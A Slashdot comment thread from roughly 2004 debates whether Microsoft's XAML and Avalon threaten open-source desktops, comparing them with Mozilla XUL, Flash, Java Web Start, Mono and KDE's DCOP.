    You have some point there, but weather or not Avalon comes to replace Flash will depend much more on if writing XAML internet apps will be as easy and as widely spread. Which it in fact can be, even without longhorn.. perhaps in an IE "plug-in/patch".

    Again, "flashy" use of flash is in fact a mis-use in this context. Perhaps they need to change the name..


    Yes, I know I'm using the word win32 a lot here, along with native - but let me clarify - that is just an example, since we are talking about Avalon within the Windows platform. But obviously once this XAML technology gains the potential to be "native" to any desktop system, such as GTK or KDE - so what I am talking about still applies, and even moreso - we are not talking about providing Flash-based apps that run on the native "Flash platform" which is a plugin inside the browser - we are talking about providing actual native apps that run on the platform of the desktop OS.


    I th

    --
    -ashot
  83. Re:all the pieces are in places now, why not just. by ashot · · Score: 1

    You know.. its funny but flash can now fill exactly the void to which you yourself refer to here. Good gui, cross-platform, possibility for rich clients..

    --
    -ashot
  84. Re:Disappointed in Miguel-The good enough train wr by cyborch · · Score: 3, Insightful

    f you have to install a 7 meg browser (mozilla) to make your application work why not just ship an application that updates itself over the network? Better yet why not just write a java web start application.

    How is installing mozilla on each and every desktop different from installing java on each and every desktop?

    With java you can have web-start applications - with mozilla you can have XUL applications.

    I may be missing something, but as far as I can see, there is no difference at all.

  85. Re:all the pieces are in places now, why not just. by gglaze · · Score: 2

    Yes, if MS can take over and make XAML the dominant format, then it will win.

    This is the one area where I think we are looking at this from different angles. In my opinion, there is no question about whether XAML will be the "dominant format" for it's target platform, which is Windows native apps. In other words, IMHO the question you are posing above is not even relevant.

    Let me try to clarify - I believe that XAML is first and foremost designed as a technology for replacing the way standalone Windows apps (non-browser, non-internet, etc.) are built, from the UI perspective.

    There are already many solutions for creating native apps using XML layout

    On the (dominant) Windows native platform? I'm not sure I am familiar with any good examples of what you are talking about here - surely none that would be considered as having the potential to become the de-facto "easy" way to build Windows apps.

    The fact that it will be a standard markup language that facilitates browser download, and thus makes it possible to deliver these apps over the web through a browser, is just an added benefit - although once the full vision comes into scope, it is a HUGE benefit, and obviously makes this technology much more than what I am claiming is it's primary goal. But I want to stress that this doesn't change the primary goal - to make it easy to build native Windows apps.

    Thus, there is no question about whether this has the potential to become the dominant way to build apps on it's target platform - standalone native Windows apps - because if that's the direction MS says Windows apps should go, that's the direction it will go. Not that this will be the only way to build apps on Windows in the future, but that it will be by far the easiest - just as MFC was by far easier than C with low-level APIS, and then VB/COM was by far easier than MFC, and then .NET is far easier (and more powerful) than VB/COM, etc... This is just the next generation of that Windows GUI technology. However, the main difference this time around is that this technology has the potential to cause browser (internet) GUI technologies to converge with native windows technologies.

    Thus, the question about whether this could replace Flash (and all other non-native browser technologies) is not a question about which is easier or more powerful, etc., as a framework for building dynamic (and interactive - touchee) web applications - it is a question about whether this is the technology that will finally bring native Windows apps "into" the browser.

    However, there is still hope for MXML and XUL to fit into the picture.. perhaps.

    Only as long as the browser maintains it's status as an acceptable outlet for "non-standard" or "non-native" applications. Some day, I believe there will be full convergence between native apps and delivery through the internet, perhaps no longer with the browser as we know it today. The idea that every website will support it's own proprietary or non-native (yes even throwing HTML into this category) UI technology will become a relic of the past. Some day, going to slashdot and posting a comment will be no different than opening up Outlook and reading my mail. Slashdot will have a fully customized user-interface, but it will be done in such a way that the actual GUI I use is a fully native Windows-rendered GUI, not something that requires non-native browser-based protocols and standards in order to be rendered. A button will always be a win32 button, and a checkbox will always be a win32 checkbox, and more importantly, the background will be a win32 Window, not a browser panel that is being rendered with text. There will be no need to render tables and images to make things look like frames and panels and sub-windows - these will simply be actual win32 frames, panels, and sub-windows, on an actual win32 window. Right now the browser is basically at the point we were at with lots of DOS applications back when Win3.1 was just release

  86. Re:all the pieces are in places now, why not just. by gglaze · · Score: 1

    You know.. its funny but flash can now fill exactly the void to which you yourself refer to here [slashdot.org]. Good gui, cross-platform, possibility for rich clients.

    Wow, you are right - I totally forgot about that discussion - we are basically answering many of the questions that were brought up there! Interesting - the slashdot world goes round and round...

  87. Mod the parent the FUCK up by Anonymous Coward · · Score: 0

    Please.

  88. XAML in Mozilla by oz1cz · · Score: 1

    What prevents the Mozilla team from implementing a XAML interpreter?

  89. SOMEBODY MOD DOWN THIS SUBTLE TROLL. by hummassa · · Score: 1

    -6 Flamebait

    --
    It's better to be the foot on the boot than the face on the pavement. ~~ tkx Kadin2048
  90. viva la revolution by Anonymous Coward · · Score: 0

    torvus is lenin, miguel is stalin

    1. Re:viva la revolution by Anonymous Coward · · Score: 0


      You are McCarthy. Bye bye.

  91. Errr... This already exists, dear. by Balinares · · Score: 4, Informative

    You've just described what DCOP does in KDE. Contact info is offered by the address book component, which can be queried by the email suite, the IM tool, etc. The entire desktop is built upon this approach, in fact.

    The Freedesktop group has begun working on a generalization of DCOP called D-BUS, primarily geared toward exchanging message between backend (hardware detection...) and frontend (desktop environment), if I got it right, but I think that GNOME will also eventually be able to use it to tap into KDE components as well. This would be really nice.

    --

    -- B.
    This sig does in fact not have the property it claims not to have.
  92. What about XUL? by ManikSurtani · · Score: 4, Informative

    Moz developers out there? Excuse my ignorance, but this XAML beast sounds an awful lot like XUL. So in a sense, the OS world has had a XAML alternative for a few years now - just a damn shame the Moz platform isn't ubiquitous enough to promote proper takeup of XUL. And if XAML is such a threat (and I see why), is it being developed along some standards? Is M$ going to submit this to ECMA as well? Why can't Moz/XUL start publishing "HTML New Generation" specifications, get corp buy-in from the likes of IBM, Sun, Novell, etc. to try and get XUL and XAML to converge?

    --
    -- Manik Surtani
    1. Re:What about XUL? by Chester+K · · Score: 2, Informative

      Excuse my ignorance, but this XAML beast sounds an awful lot like XUL. So in a sense, the OS world has had a XAML alternative for a few years now - just a damn shame the Moz platform isn't ubiquitous enough to promote proper takeup of XUL.

      If the Mozilla project were to produce a reasonably sized installer for Windows that would allow you to double-click an .xul document in order to start a fully-capable XUL-based application, and provide easily accessible documentation on how to get started with it, they could get a huge jump up on Microsoft.

      Unfortunately, distributing an XUL runtime is difficult since it's currently tied directly into Mozilla and/or Firebird. The documentation on making applications with XUL is extremely lacking, and getting into anything more simple than "show this form" requires digging into even more poorly documented arcana.

      I tried, and found the Getting Started phase of using XUL was far too steep of a boundary for XUL to gain any traction.

      --

      NO CARRIER
    2. Re:What about XUL? by Brendan+Eich · · Score: 1
      Did you look at http://www.xulplanet.com/ ?

      /be

  93. more anti-trust cases? by rweller · · Score: 1

    If M$ are going to try and push the "next generation" html and its only on windows platform how long before we see another Media Player case like the one we had in europe recently?

  94. An application of WinFS (MS patent pending) by JPMH · · Score: 1
    "Calendar-based user interface system"

    European Patent Application EP1338960
    US Patent Application US2003156138

    Alongside your existing directory tree, an automatically maintained virtual directory tree of the form [Calendar Date]/[Subject]/...

    Claim 1:

    1. Calendar-based interface software in a computer readable medium, comprising:
    • a system activity monitor that monitors user activity on a user-operated computer;
    • a calendar system database of metadata relating to objects stored or activities carried out on a computer;
    • a similarity system that determines a degree of similarity between at least a pair of computer files or objects;
    • a chunking system that uses the degrees of similarity determined by the similarity system for a set of objects and groups them into a number of sub-groups; and
    • a calendar user interface system that utilizes information stored in the calendar system database by the system activity monitor, and information determined by the similarity system and the chunking system to display in a calendar format time-based information relating to objects stored or activities carried out on the computer.

    Note that MS is claiming the idea of arranging the files by date and then by automatically analysed subject-area -- the patent is directed entirely to the user-interface concept, not any particular algorithms to deliver it.

  95. Denied migration (was Re:it's pronounced "XAML". by frisket · · Score: 2, Interesting
    > A lot of people today cannot migrate to Linux or cannot migrate to Mozilla because a lot of their internal Web sites happen to use IE extensions

    Well whoop-de-doo. Their problem. They were warned, and if they chose to ignore the warnings, they'll have to dig themselves out of it, or pay someone with a clue to do it for them. There are enough clueless designers around to keep consultants in business until Stardate 4096.

    > Now imagine a world where you can only use XAML

    Oh good grief. Get a life. It's just XML. It's not rocket science (or if it is, I know several unemployed rocket scientists who can help). Yes it's big. So is DocBook. Yes it's badly designed: the inclusion of executable code in a different syntax is a silly mistake, and only someone who has never used ISO 8879 before would allow Mixed Content in top-level element types. Unfortunately there are people like this at Microsoft, as well as plenty of people who do have a serious clue...but with a marketing-driven organisation, the marketing droids will always win, and if they want it that way, that's the way they'll get it.

    It'll be a pig to write, a pig to maintain, a pig to understand, a pig to document, and a hog on resources, but that isn't really anything new. If it's XML, I can always open it and reprocess it using standard tools. Bill Gates (or his successors) will come to rue the day he bet the farm on XML.

    The best cure for seasickness is to go and sit under a tree. --Spike Milligan

    Claimer: yes, I do run the XML FAQ. No, my opinions are not those of the University I work for.

  96. he is a liar by Anonymous Coward · · Score: 0

    He spreads FUD about KDE and QT, because he does not want to admit that Gnome lacks behind.

    No, suse/Novell will not switch to Gnome.

  97. Re:Application choice favourable to Gnome. Obvious by ajs · · Score: 1

    You've fallen into your own logic trap. Re-read what he said: you choose the successes.

    Mozilla is not the ideal browser for Gnome, nor is it the default Gnome browser, but you choose it because it's the one that's most widely used.

    Open Office is not the ideal office suite for Gnome, nor is it the default office suite for gnome, but you choose it because it's the one that's most widely used.

    Evolution is probably the most widely used groupware client for Unix-like systems, but honestly it's also a Ximian product, and I think Miguel would have cited it regardless ;-)

    Gaim is the default messenger for Gnome, but it's also the most widely used IM client uner Unix-like systems.

    Your choices on the other hand are: go with the KDE default. Not exactly the break from the desktop you seemed to advocate....

  98. Re:Keep eye on the ball by CommandNotFound · · Score: 1

    With all due respect, let's not give up the present to focus on an uncertain future. Microsoft has become legendary in their grand hand-waving about future products, and billg is one of the worst offenders, so betting our farm on what they say will happen two years from now is just not a solid product policy.

    The fact is, Microsoft makes almost all their money on just two products: Windows (XP and 2003), and Microsoft Office. Two products that multiple sources have free equivalents. Even if XAML is the hottest thing going, it's still a development /deployment tool, and like VB.Net, ADO, or .Net, they do not really make Microsoft any money; they're just part of the Monopoly infrastructure.

    How about we focus on pounding on the two products that matter; particularly Office, since we can run OpenOffice multi-platform. If you manage to get 15-20% market penetration, you can effectively influence the market, much like AMD has done with Intel (most people don't realize that AMD only has about 15% of the market). That is an achieveable goal by 2007, which is about how long it will take before large-scale deployment of Longhorn would begin, assuming it ships Summer 2006. If you have 15-20% of the Office market and the Linux market is trailing at 8-10% (but growing), it would create such a disruption that XAML would quickly become a back-burner issue.

    Again, with all due respect, I would suggest focusing on those fights that are going on now and have tremendous potential, rather than allowing billg's intimidation to confuse our resolve. If you get 15-20% of the market that matters, history changes. Development tools are a sideline gig. Web client lock-in "standards" will quickly get scrapped by MSFT if their shareholders are letting management go because their two cash cows are losing ground.

    Miguel, there are many articles and white papers that literally list out the deficiencies of desktop Linux and OOo vs. Windows and MSOffice, and you are in a position to influence developers and resources to fill those gaps, including improving solidarity between the Gnome and KDE efforts. I certainly am in no place to suggest to you how to proceed with your already stellar career, but take this as just as it is: a humble request to give it some thought.

  99. XAML = perfect pop-up advertising utility by akihabra · · Score: 1
    If this XAML thingummy is as 'rich' as they say it is, then surely it will become another source of much-hated in-your-face adverts.

    Eventuially, people will start disabling it in IE, and then everyone can relax.

  100. Business apps = YES YES YES by Groucho · · Score: 3, Insightful

    "What Mozilla needs to do is get their browser out there and on desktops, but more importantly they need to document(!) and further develop XUL. Try to use it for making business applications like I've mentioned above (not chat clients, get serious). Find out where the weak spots and gaps are and fix and fill them in. At the same time they need to get things working happening on the server side. OSS is strong on the server, but we need proper libraries and support for XUL apps on the server written in Java, PHP, etc hell even C# if really want to use a window webserver. For the love of god Mozilla, get in touch with Apache.org, Tomcat and friends. Create a full and complete platform (server + client) for creating and delivery business/database applications. We already have the big pieces."

    Exactly - you clearly Get It.

    Let's say there's an existing database in MySQL or whatever - if you could write an interface to it in XUL and have the "browser" construct a rich client front that understands transactions, field validation and persistence - that would be heaven. The Eclipse RCP project is very close to doing something useful and usable in this domain but it still seems to require too much hand coding for the front end.

    1. Re:Business apps = YES YES YES by Anonymous Coward · · Score: 0

      Wait a second. This is the OSS world. Making complete platforms is frowned upon as something that limits the choice of developers! How dare you suggest that they have a single way to do something! We could go on and on about how OSS needs to proceed technically to be successful, but the zealotry of developers is the limiting factor here. They are responsible for our not having integrated tools. A shame, but the lack of real leadership in the community is starting to hurt. In the beginning it's great to have choice; the best platforms become the most successful. But today, when we have business people trying to make Linux viable on the desktop, we still have KDE and GNOME, about 5 different web browsers to choose from (and in the case of KDE, integrated desktop support for only one mediocre browser), a couple hundred text editors that all try to do the same things, etc. Once developers grow up and stop duplicating efforts, OSS will grow up in the eyes of the marketplace.

  101. Ok, here is one I wonder about... by SerpentMage · · Score: 3, Interesting

    One of the things that I like to do is find the Silver Bullet of tools. So I keep searching the internet and keep installing new tools. Yet here is an interesting result, am I closer to getting my app done?

    We developers always like new and neat tricks, but yet it seems we are still building the same apps at the same speed. It took the Mono team about three years to build the Mono stack. Well, you know I could probably write most of my apps in three years.

    I am not trying to rail C# or Java, as my point is that maybe we should be thinking about how to code properly. Maybe the language is not THAT big of an issue....

    --

    "You can't make a race horse of a pig"
    "No," said Samuel, "but you can make very fast pig"
    1. Re:Ok, here is one I wonder about... by online-shopper · · Score: 2, Interesting

      while I agree with you in principle, .net and mono enables code re-use across languages... I can use the gtk bindings for mono in c#, VB, or any other program that targets the mono backend. so while this sounds like just another language, it really can be a helluva tool. not the be-all end-all, but still a very useful(not to mention versitile) one.

    2. Re:Ok, here is one I wonder about... by janbjurstrom · · Score: 1
      I agree, if X is the goal - the fastest way to X should be taken. To quoth Hagakure:
      When one has made a decision to kill a person, even if it will be very difficult to succeed by advancing straight ahead, it will not do to think about going at it in a long roundabout way. One's heart may slacken, he may miss his chance, and by and large there will be no success. The Way of the Samurai is one of immediacy, and it is best to dash in headlong.
      But simultaneously, one shouldn't neglect the actual process of developing Mono.

      I.e., although three years creating a system on which to do X - when X is the (original, mind) goal - probably can be argued to be somewhat 'wasteful of dev. time', the act of creating Mono must have given the community a lot of new, deeper insights. They surely became better developers during (because of) the effort.

      It did nothing for X during that time, but the goals might have shifted away from X even - because of insights gained during the creation of Mono. With new understanding, X might not look so good any longer, Y is what should be done instead. Now, Y requires the Duo stack so ... ;)

      --
      668.5
    3. Re:Ok, here is one I wonder about... by Frizzle+Fry · · Score: 1
      I am not trying to rail C# or Java, as my point is that maybe we should be thinking about how to code properly. Maybe the language is not THAT big of an issue....

      Eh? What does language have to do with anything? Mono is trying to mimic the .Net framework, not a language.
      --
      I'd rather be lucky than good.
    4. Re:Ok, here is one I wonder about... by Tukla · · Score: 1
      It took the Mono team about three years to build the Mono stack. Well, you know I could probably write most of my apps in three years.

      Well, sure. Mono was developed with those slow, low-level tools. It's the apps built within the Mono framework that will be quicker to develop. Or, at least, I think that's the idea.

  102. Question by Zugot · · Score: 1

    What protocols have *we* created lately?

    --
    -- Bryan
  103. This is an important question by smittyoneeach · · Score: 1
    We're making the decision it's going to be OpenOffice, the browser it's going to be Mozilla, the email client it's going to be Evolution, the IM client it's going to be Gaim.
    One of teh roxorz things about Mozilla is that for a hard drive configuration like
    a NTFS WinXP | Linux (boot, swap, user)
    a -----------|
    a -----------*
    a ----------/'\
    a ---------/'''\
    a -------FAT 32 "DMZ"

    It is possible to park the mozilla email files in the DMZ partition, so that you can use the same tools irrespective of operating system.
    This is a killer feature: why should your operating system be in the way any more than the BIOS?
    Thus, until Evolution undergoes the requiered genetic changes to compile under 'Doze, I shan't pay't heed.
    Aside: all these lameness filters make doing a simple diagram a right PITA. If they actually kept out the regrettable stuff, they might be a help. Then again, I probably wouldn't want to see /. without them.
    --
    Get thee glass eyes, and, like a scurvy politician, seem to see things thou dost not.--King Lear
  104. Re:Disappointed in Miguel-The good enough train wr by Anonymous Coward · · Score: 1

    Amen. The most correct assessment thus far.

    Microsoft is a _platform_ company, and their objective with XAML is to kill browser-based apps and get people to go back to writing Windows-specific client apps. They must be terrified of the potential for XUL or other web standards to remove many of the limitations of browser apps in a platform-independent way, thus XAML. And in many ways it is a LongShot for MS, as so many line-of-business apps are browser based and more come on line. Businesses have browser apps that run quite well on MS's older OSes, and XAML will force an OS upgrade. In a way, pursuing (and temporarily winning) the browser wars has cost MS dearly in the platform wars (not in the sense that there are fewer Windows clients, but that there are fewer that _need_ to be Windows), and may prove fatal. So the 2 year window represents a real opportunity for OSS/XUL/web-standards which right now are ahead in delivery, if not mindshare.

    Miguel is dreaming if he thinks businesses will move their Microsoft-API apps off of the Microsoft platform (too much risk), that's why MS is unafraid of Mono. His strategy of chasing MS is a dead end. If you start behind MS you definitely lose.

    Mozilla should trumpet (and doc) XUL as 'XAML here today, free and cross-platform', and do what's needed to make it a web standard. And the focus needs to be on zero-install use of XUL, not install-in-chrome.

    In the end, it will come down to businesses considering Mozilla/web-standards as a viable client target, getting their in-house web apps to support it, and demanding support of Mozilla/web-standards from their 3rd-party vendors. Not unreasonable, as that path will require less effort than a Longhorn/XAML upgrade, and leaves them with substantially more freedom.

  105. Microsoft marketing shill by Anonymous Coward · · Score: 0

    This guy does a better job marketing Microsoft than most MS employees! Do you know how important it is for people even to know what the freaking buzzwords are??? I wouldn't have known what the hell Avalon or WinFX was if it wasn't for this dope in an interview basically giving MS a free commercial. I'm so scared of Microsoft's big new technology push. They are so inevitable! wah wah wah.

  106. Re:Denied migration (was Re:it's pronounced "XAML" by Hard_Code · · Score: 4, Insightful

    Let me give you a clue - while it may remain fun for you to "keep it real" by coding on open source, .Net and the Avalon/XAML platform threatens to displace a lot of the progress Linux has made, at least on the desktop. And we know that when MS owns the desktop they have great leverage to push on the server area. Every time MS comes up with something, the first reaction is to downplay it and shout that it has already been done before. IE was a joke too. Windows was a joke to. You can keep laughing, but unless there is a viable open source alternative to what MS is providing, we stand to get our lunch eaten. That is what is scary. That is what is scary for a lot of open source companies which are essentially loss-leading by pouring tons of money into free software and HOPING that by doing so they can open the market and reap rewards later. .Net and Avalon/XAML threaten to crush that. It's not enough to say that it's nothing new or not a big deal. When all of Microsoft developers, and a large segment of the industry that MS influences, starts adopting it in droves, it WILL be a big deal. When MS develops something that will give their customers some value (whether or not you think it gives /you/ value), it is not enough to shout "bogeyman!"... you actually have to compete.

    I am a Java developer, and I for one don't want my career derailed because there was never an open source alternative to compete with .Net.

    --

    It's 10 PM. Do you know if you're un-American?
  107. It's not about Technology by Uggy · · Score: 3, Insightful

    The problem with technologists deciding where technology goes is that they are not customer focused. They are technology focused. From the Microsoft blog featured here the other day, MS was at one time (and probably still is) extremely customer focused. Maybe they've lost it a bit, I don't know.

    It's always an internal battle within organizations. Should we embrace some cool tech or not. Boss asks why, IT guy says, "'cause it's the future." Which begs the question.

    Is it going to help ME in MY business?

    I think the beauty of OS in general is that we make commodity blocks, which we can then adapt to a wide range of uses. When I meet with a client, I ALWAYS start with business questions.

    "What are are your current challenges? What would you like to do better?"

    Sometime they respond with specific answers about technology. I usually back them up one more step and try to get them to think about the bigger picture, macro style. They have an "A-ha" moment, and then the flood gates open. It usually boils down to wasted time and effort performing some repetitive task.

    "Ah, well you know, that's the stuff computers are really good at. Repetitive tasks, that is. Let's reduce the time your people spend managing computers, and put them to work managing your business."

    It's so simple, it's revolutionary. Microsoft did a lot for computing, but they mostly were able to make people slaves to their personal computers.

    OS turns it back into what it should have been all along, Business Automation.

    And all this talk about MS's new tech, or .NET or whatever... I have only question: Can a technology by itself really be a magic bullet?

    --
    Toddlers are the stormtroopers of the Lord of Entropy.
    1. Re:It's not about Technology by Superliminal · · Score: 0

      > Which begs the question. Oh my God. You are like the first person EVER on Slashdot to use that phrase correctly. You've brightened my day, good sir! - Superliminal

  108. Just like X but by MS by gathas · · Score: 2, Informative

    Microsoft Drives me batty with their absolute flaunting of supporting open formats. Take for instance Avalon which they describe as "Microsoft® Windows® Vector Graphics (WVG) . . . and it is familiar to users of Scalable Vector Graphics (SVG)" Everytime I read a MS programming book, I feel like they have branded everything that should be considered a basic fundamental Computer Science (Use your Microsoft® Windows® mouse® to type in a Microsoft® Windows® int®). I know this is so they can prevent competition, but I just can't get over how accepting computer users are to this as a whole.

  109. No difference by Anonymous Coward · · Score: 0

    This obsession about copying Microsoft will give us a Unix that works and looks the same as Microsoft OS's. There will be no difference in the end it seems.

    Great.
    eh...

  110. Java will suck for web apps until it is free. by expro · · Score: 4, Insightful

    If you have to install a 7 meg browser (mozilla) to make your application work why not just ship an application that updates itself over the network?

    That would be an option if Java were free, so that the appropriate initiatives could be undertaken to have a decent way to run web applications.

    Starting back in 1995, various companies asked for a number of features in Java necessary for launching web applications efficiently over the web -- licensees of Java paying Sun the big bucks. I was in one of these companies. Sun has never gotten what it would take to make Java a serious advantage for applications that trickle down to the desktop over the web.

    There are many examples of things that would be needed and were repeatedly requested, that I have never seen materialize -- for example (one of many) a really-intelligent class loader that understands how to make applications work instantaneously and reliably over the web. The design doesn't seem that hard, but it is very different from anything that Sun has undertaken. I and other people made presentations to Sun, and they ignored it all, being a server company. Without free software, that leaves no options. This was 9 years ago, and Sun still has not figured most of it out. Companies cannot wait for Sun to get it.

    As it is, I couldn't care less whether Sun or Microsoft wins, because it is 6 of one or half a dozen of the other, they will be limited by their own lack of vision. Licensees of Java were ripped off, believing they would be helped by Sun for all the money they paid.

    It isn't that companies are not willing to pay. It is that Sun isn't willing to deliver even to those who pay who see how to bring Java out of the box where it is now (and have seen since the beginning).

    1. Re:Java will suck for web apps until it is free. by Mr.+Piddle · · Score: 1


      Oh, god, like you are so damned important. Sun is being whined at by thousands of people, each with a different "but I want this" and "but I want that." Do you think Sun are omnipotent and can do it all?

      Look at Java and how it has come along over the years. It has always been progressing and in very non-trivial ways (the JRE has a full-blown software MIDI subsystem for cripes sake). Just because your little corner in the world hasn't been peed on, yet, doens't make Sun incompetent or evil.

      --
      Vote in November. You won't regret it.
    2. Re:Java will suck for web apps until it is free. by eril · · Score: 0
  111. another attempt at declarative programming by Anonymous Coward · · Score: 0
    I fail to see how this different than all the other attempts in the past at declarative programming. XAML simply tries to catch up to what people have been doing for years.

    Create frameworks that allow programmers to declaratively layout GUI's. It's not special or even new. For custom GUI's you're still going to have to write custom stuff and XAML will do nothing for you. It's just another way to do windows forms and produce more ugly GUI's.

    1. Re:another attempt at declarative programming by ajs · · Score: 1

      I fail to see how this different than all the other attempts in the past at declarative programming. XAML simply tries to catch up to what people have been doing for years.

      And that has been Miguel's assertion from the start. This is nothing new. It's nothing terribly great. But in a very real, NON-TECHNICAL way this is the killer app that Microsoft needs to maintain their edge. If you're interested in taking that edge away (and you might not be), then you must counter XAML's threat. Miguel points out (rightly so) that every time MS has done something like this in the past, the OSS community has sat around talking about how terribly un-original it is right up until the time they find that people don't want to use open source software because the un-original thing isn't available there.

      His assertion is crystal-clear on these points, so let's not have the "XAML isn't interesting" discussion again.

  112. Open Source ActiveX by Theatetus · · Score: 1
    w[h]ere's the open source clone of ActiveX

    Well, it's actually called the GNU Network Object Model Environment

    --
    All's true that is mistrusted
    1. Re:Open Source ActiveX by Anonymous Coward · · Score: 0

      Christ. We're doomed.

  113. Re:For those who don't speak Spanish, but speak en by ffub · · Score: 4, Informative

    For those that don't speak Spanish but English with latin stems, mono* is a prefix meaning single or singular, e.g. monotheism - the belief in one god.

    For those that speak slightly geeky American English, mono is short for mononucleosis, which is another term for glandular fever.

    For those that speak common English, mono means a single sound source, i.e. monophonic as opposed to sterophonic.

    But for the Spanish speakers of the world... it's Monkey.

    * I know not it's true etymology.

  114. Re:all the pieces are in places now, why not just. by Anonymous Coward · · Score: 0

    I'm not running binaries, sandboxed or not! The web is about information, if you want to create interactive TV then feel free, but I wont be watching.

    The idea that people who can't even get a simple web page right (without requiring flash or js) are going to be more empowered if we let them run full featured apps on our machines is simply retarded.

    HAND

  115. Brilliance would have been recognizing XUL before by expro · · Score: 1

    Honestly, De Icaza is one of the few free software/OSS activist with really clear ideas on the subject and some objectivity.

    Really? Honestly? I think real vision would be recognizing the technologies such as XUL when they originally appear in open source, not waiting for Microsoft to corrupt them to say we should copy what Microsoft is doing. He is a Microsoft watcher, which does not make him a visionary.

  116. Re:Disappointed in ... Going for a web interface by doc+modulo · · Score: 1

    I think you and your company are on the right track.

    Programs used to be controlled by the user with windows on a desktop. Now, more and more programs are controlled by an interactive webpage while it's running on the server.

    There are huge advantages to that, like the ability to run the program from anywhere where you have access to a browser. For example, you can check your webmail without having your PC with you to run your E-Mail program. You just need a simple, web-only, cybercafe with a standard browser. Like you said, zero-install. There are a lot of other advantages and some disadvantages.

    It's obvious for you that this is the future of interacting with programs because you build web interfaces for a living, but if you think about it it should become clear for anyone that this is better in most cases. Programs that are real-time like games and video editing need (non MS) window interfaces, but a lot of non-realtime programs can best be controlled by a webpage. I encourage everyone to program interfaces like this, it eases transition to Linux.

    Mozilla interfaces are a level higher than the webpage interface. Mozilla needs to be installed, pages don't. You probably know of a lot of interface things that can only be done with higher level interfaces like Mozilla's XUL windows but I think we should put the emphasis on enriching the lower level webpage-only interfaces for programs.

    With things like the upcoming vector drawing (SVG) and Javascript for webpages, most tasks can be handled without having clients install Firefox/Mozilla specifically to use your programs. Ofcourse that won't be as bad as requiring clients to install Windows XAML because with Mozilla/Firefox XUL you are locked into something which is Open source and Free, with XAML you'll get raped by Microsoft and will be stuck on Windows.

    However, I'm curious about Mozilla/Firefox XUL. As far as I can see, it's like this:

    - Native windows are the fastest and know all the tricks
    - Mozilla/Firefox XUL has a couple of tricks, is cross-platform and is easier to program than native windows.
    - Standards compliant webpages are limited in interactivity but are the easiest to make and are even more cross-platform (mobile phones can't install Firefox).

    Can anyone give me more examples that are only possible using XUL as opposed to standard webpages/XHTML? And what are the chances of XUL being used as native windows for Linux/*BSD? Is it fast enough for games or video editing?

    --
    - -- Truth addict for life.
  117. Re:Application choice favourable to Gnome. Obvious by MWelchUK · · Score: 1

    However I feel that the choice to support both KDE and Gnome was a political decision, due to the fact this kind of decision often causes huge outcry and doesn't fit well with the "choose the successes" statement.

    The fact remains that this combination of browser, productivity suite, groupware client and instant messenger is fairly biased towards Gnome. This means that a smaller, less memory intensive setup is likely to be realised with Gnome, making KDE kinda superflous.

    To me it doesn't make much sense to claim to support KDE and not it's default set of applications as well because as it is all you are doing is loading Gnomes services and libraries behind KDE, which isn't really supporting KDE.

  118. Re:Application choice favourable to Gnome. Obvious by otis+wildflower · · Score: 1

    Your choices on the other hand are: go with the KDE default. Not exactly the break from the desktop you seemed to advocate....

    Until the 'anointed' apps have stuff like DCOP interfaces, desktop notification, KDE theme support, etc.. I'll stick with the KDE stuff. I like kicker popups, they're almost as slick as OS X bouncing dock icons.

    OTOH I'd get out of Kopete and KMail in a NY minute if the freedesktop apps built in that KDE integration, if only to avoid the philosophical issues related to those apps... (filtering IMAP by header is wrong because 'it's supposed to be done in sieve'? FUCK THAT! Behave like Mozilla mail!!!!!!)

  119. Re:For those who don't speak Spanish, but speak en by Anonymous Coward · · Score: 0

    Mono - it's the one true monkey!

  120. Re:peoplesprimary by Armadillo007 · · Score: 0, Offtopic

    What is it you don't understand? That link generates malicious code that will worm itself through windows machines... Is that censorship?

  121. Question: XUL vs Glade by Notrace · · Score: 1

    Please don't flame. It's an honest question.

    A lot of people mentioned XUL. But, isn't this also a lot like what Glade offers ?
    I thought you could feed XML to a Glade application, or have the Glade-application get the XML over the network/web ... ?

    Please enlighten me.

  122. Ridiculous by Anonymous Coward · · Score: 0

    Do you really think that if Miguel wanted to work for M$ they wouldnt snap him up in 10 @#$#ing SECONDS????!!!!!!!

    Get real man.

    -ron

    1. Re:Ridiculous by Anonymous Coward · · Score: 0

      Why should they? He's doing more damage where he is.

  123. Reminds me of "Ghostbusters" by Orion+Blastar · · Score: 1

    XUL sounds a bit like the bad guy from "Ghostbusters".

    "There is no Dana, only XUL!"

    Somebody please cross those beams and close off the portal! :)

    --
    Remember, Slashdot does not have a -1 disagree moderation, and no, troll, flamebait, and overrated are not substitutes.
  124. "Miguel, I brought an employment application. ..." by pjacobi · · Score: 1

    More Miguel/MSFT stories...
    Google for: miguel "don box"
    Or even: miguel "don box" "your ass"

    I assume, he turned down the offer.

  125. Re:XAML - XUL by weston · · Score: 1

    XAML was more like a way of using XML to design your user interfaces, integrated completely into Windows. It's not designed to work with anything but Longhorn

    If it's XML, couldn't one write a processor that does XAML -> XUL transformations?

  126. Re:For those who don't speak Spanish, but speak en by Mr.+Piddle · · Score: 1

    "mono a mono"

    This cross product just might produce all the sides to the Slashdot discussion regarding Mono, including all the monkeys.

    --
    Vote in November. You won't regret it.
  127. Re:Disappointed in Miguel-The good enough train wr by Jason+Earl · · Score: 1

    The difference is that you need a web browser anyhow. No one needs Java on their desktop.

    Besides which, it is far easier to create a GUI in XUL + Javascript (and coming soon Python) than it is to create a Java GUI. Basically the idea is to lower the bar for application development so that the folks currently doing HTML + Javascript can create rich client front ends.

  128. Another +5 TROLL by Anonymous Coward · · Score: 0
    I think a killer Open Source project would be port Java over to the CLR. To be really evil and fun, make it a JVM->CLR rewriter. Of course, Sun will sue you like mad, but that not why it wouldn't happen (it helps MS too much), but it would break Sun's hold on Java a bit more. Especially with Mono in the mix.

    It's already being done, it's called IKVM, and it works.

    XAML is nicely balanced and really seems like the first truly usable markup-based GUI language (XUL was close, but not close enough. I think it'd be much more popular otherwise).

    Yes XAML is a copy of XUL (Netscape were well ahead of their time with that one). It's easy to improve on something.

    Avalon is nice, not totally groundbreaking, but it does kill bitmap-based windowing, and I haven't seen anything that suggest that Linux world is pulling that trigger yet. (X being a obstacle in the way) Apple did, and the results speak for themselves I think.

    Avalon is a direct copy of work done at Apple. Of course, you could do all of this using X running on an SGI machine 10+ years ago. You will find that Longhorn's window model has more in common with X than any previous version of Windows. X is better designed and more advanced than you realise.

    WinFX has some very interesting ideas in how you structure components, and has the chance to become the next big thing in components (after COM. Another Microsoft innovation! Flames rising).

    Corba.

